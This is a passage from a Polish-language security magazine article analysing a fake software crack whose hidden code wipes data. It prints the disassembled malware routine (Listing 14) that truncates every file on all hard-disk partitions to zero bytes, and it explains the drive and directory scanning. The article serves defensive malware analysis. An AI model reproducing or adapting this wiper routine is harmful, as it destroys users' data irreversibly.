    Nastpnym krokiem jest pobra-nie dodatkowych funkcji WinApiwykorzystywanych przez ukry-ty kod i zapisanie ich do struktury interfejs. Natomiast gdy ju pobra-ne zostan wszystkie adresy proce-dur, zostaje uruchomiona procedu-ra skanuj _ dyski, sprawdzajca ko-lejne stacje dyskw (kocowa cz Listingu 11).

    Poszlaka skaner dyskwWywoanie procedury skanuj _ dyski to pierwszy widoczny znak, e ce-lem ukrytego kodu jest destrukcja w jakim celu bowiem rzekomy crack miaby przeczesywa wszyst-kie napdy komputera? Skanowa-nie rozpoczyna si od stacji ozna-czonej liter Y:\ i zmierza w kie-runku pocztkowego, dla wikszo-ci uytkownikw najwaniejsze-go napdu C:\ . Do okrelenia typu stacji wykorzystywana jest funkcja GetDriveTypeA(), ktra po podaniu li-

    Listing 14. Niszczycielska procedura zeruj_rozmiar_pliku

    zeruj_rozmiar_pliku proc near ; CODE XREF: wymaz_pliki+19p

    pusha

    mov eax, [edi+20h] ; rozmiar pliku

    test eax, eax ; jeli ma 0 bajtw, omi go

    jz short pomin_plik

    lea eax, [edi+2Ch] ; nazwa pliku

    push 20h ; ' ' ; nowe atrybuty dla pliku

    push eax ; nazwa pliku

    call [ebx+interfejs.SetFileAttributesA] ; ustaw atrybuty pliku

    lea eax, [edi+2Ch]

    sub edx, edx

    push edx

    push 80h ; ''

    push 3

    push edx

    push edx

    push 40000000h

    push eax

    call [ebx+interfejs.CreateFileA]

    inc eax ; czy otwarcie pliku si powido?

    jz short pomin_plik ; jeli nie, nie zeruj pliku

    dec eax

    xchg eax, esi ; uchwyt pliku wgraj do rejestru esi

    push 0 ; ustaw wskanik pliku od jego pocztku (FILE_BEGIN)

    push 0

    push 0 ; adres na jaki ustawi wskanik pliku

    push esi ; uchwyt pliku

    call [ebx+interfejs.SetFilePointer]

    push esi ; ustaw koniec pliku na biecy wskanik (pocztek pliku),

    ; co sprawi, e plik zostanie skrcony do 0 bajtw

    call [ebx+interfejs.SetEndOfFile]

    push esi ; zamknij plik

    call [ebx+interfejs.CloseHandle]

    pomin_plik: ; CODE XREF: zeruj_rozmiar_pliku+6j

    ; zeruj_rozmiar_pliku+2Aj

    popa

    retn

    zeruj_rozmiar_pliku endp

    W Sieci

    http://www.datarescue.com deasembler IDA Demo for PE, http://webhost.kemtel.ru/~sen/ edytor szesnastkowy Hiew, http://peid.has.it/ identyfikator plikw PEiD, http://lakoma.tu-cottbus.de/~herinmi/REDRAGON.HTM identyfikator FileInfo, http://tinyurl.com/44ej3 edytor zasobw eXeScope, http://home.t-online.de/home/Ollydbg darmowy debugger dla Windows

    OllyDbg, http://protools.cjb.net zbir narzdzi przydatnych do analizy plikw binarnych.

  • 11

    Analiza podejrzanego programu

    tery partycji zwraca jej typ. Kod pro-cedury znajduje si na Listingu 12. Warto zwrci uwag, e procedu-ra poszukuje jedynie standardowych partycji dyskw twardych i pomija stacje CD-ROM czy dyski sieciowe.

    Gdy wykryta zostanie popraw-na partycja, zostaje uruchomiony re-kursywny skaner wszystkich jej ka-talogw (procedura wymaz _ pliki patrz Listing 13). Oto kolejny po-wd do uzasadnionych podejrze o niszczycielsk dziaalno ukryte-go kodu: skaner, wykorzystujc funk-cje FindFirtsFile(), FindNextFile() i SetCurrentDirectory(), skanuje ca- zawarto partycji w poszukiwa-niu wszystkich rodzajw plikw. M-wi nam o tym zastosowana dla pro-cedury FindFirstFile() maska *.

    Dowd: zerowanie plikwDotychczas moglimy mie jedynie mniej lub bardziej uzasadnione po- Rysunek 5. Schemat procedury skanowania dyskw

    R E K L A M A

  • www.hakin9.org12 Hakin9 Nr 6/2004

    Obr

    ona

    dejrzenia co do niszczycielskiej si-y ukrytego w bitmapie kodu. Na Li-stingu 14 natomiast znajduje si dowd na zoliwe zamiary twrcy programu patch.exe. To procedu-ra zeruj _ rozmiar _ pliku jest ona wywoywana zawsze, gdy procedura wymaz _ pliki odnajdzie jakikolwiek plik (o dowolnej nazwie i dowolnym rozszerzeniu).

    Procedura ta dziaa bardzo pro-sto. Kademu kolejnemu znalezio-nemu plikowi zostaje za pomoc funkcji SetFileAttributesA() usta-wiony atrybut archiwalny. Przez to zostaj usunite inne atrybuty, w tym tylko do odczytu (jeli takie by-y ustawione), chronice plik przed zapisem. Nastpnie plik jest otwie-rany funkcj CreateFileA() i, jeli

    otwarcie pliku si powiodo, wska-nik pliku zostaje ustawiony na jego pocztek.

    Do tego celu procedura uywa funkcji SetFilePointer(), ktrej para-metr FILE_BEGIN okrela sposb ustawienia wskanika (w naszym przypadku na pocztek pliku). Po ustawieniu wskanika wywoy-wana jest funkcja SetEndOfFile(), ktrej zadaniem jest ustalenie no-wego rozmiaru pliku przy wykorzy-staniu biecej pozycji wskanika w pliku. Jak wida, wskanik pliku ustawiony zosta wczeniej na sam jego pocztek plik po tej opera-cji ma wic zero bajtw. Po wyzero-waniu pliku kod wraca do rekursyw-nego skanowania kolejnych katalo-gw w poszukiwaniu innych plikw,

    za naiwny uytkownik, ktry uru-chomi plik patch.exe, traci kolejne dane z dysku.

    Analiza rzekomego cracka po-zwolia nam, na szczcie bez uru-chamiania pliku wykonywalnego, zrozumie zasad jego dziaania, wyszuka ukryty kod i okreli je-go zachowanie. Uzyskane wyniki s jednoznaczne i przeraajce efek-ty dziaania malutkiego programi-ku patch.exe nie nale do przy-jemnych. W efekcie dziaania zo-liwego kodu znalezione na wszyst-kich partycjach wszystkich dyskw pliki zmieniaj rozmiar na zero baj-tw i praktycznie przestaj istnie. W przypadku posiadania cennych danych strata moe by nieodwra-calna. n

    Rysunek 6. Schemat dziaania podejrzanego programu

    WinMain()

    DialogBoxParamA()

    WaitForSingleObject()

    GetProcAddress()